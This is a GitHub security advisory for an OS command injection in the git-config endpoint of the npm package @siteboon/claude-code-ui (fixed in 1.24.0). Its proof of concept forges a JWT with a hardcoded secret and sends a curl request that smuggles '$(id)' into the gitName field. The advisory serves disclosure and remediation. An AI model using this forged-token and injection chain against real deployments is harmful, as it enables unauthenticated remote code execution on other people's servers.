GHSA-7fv4-fmmc-86g2

Suggest an improvement
Source
https://github.com/advisories/GHSA-7fv4-fmmc-86g2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-7fv4-fmmc-86g2/GHSA-7fv4-fmmc-86g2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7fv4-fmmc-86g2
Aliases
Published
2026-03-10T23:57:23Z
Modified
2026-03-13T10:56:25Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes
Details

Shell Command Injection in User Git Config Endpoint

Field Value
Severity High
CVSS 3.1 8.8 (High) — when chained with VULN-01
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector Network
Authentication JWT required (bypassable via VULN-01)
Affected Files server/routes/user.js (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

  • `malicious_command` — backtick execution
  • $(malicious_command) — subshell execution

Impact

  • Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
  • The git config --global vector modifies the server-wide git configuration, affecting all git operations
  • When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
  • Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
Database specific
{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-10T23:57:23Z",
    "nvd_published_at":  "2026-03-11T18:16:24Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / @siteboon/claude-code-ui

Package

Name
@siteboon/claude-code-ui
View open source insights on deps.dev
Purl
pkg:npm/%40siteboon/claude-code-ui

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.24.0

Database specific

last_known_affected_version_range
"<= 1.23.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-7fv4-fmmc-86g2/GHSA-7fv4-fmmc-86g2.json"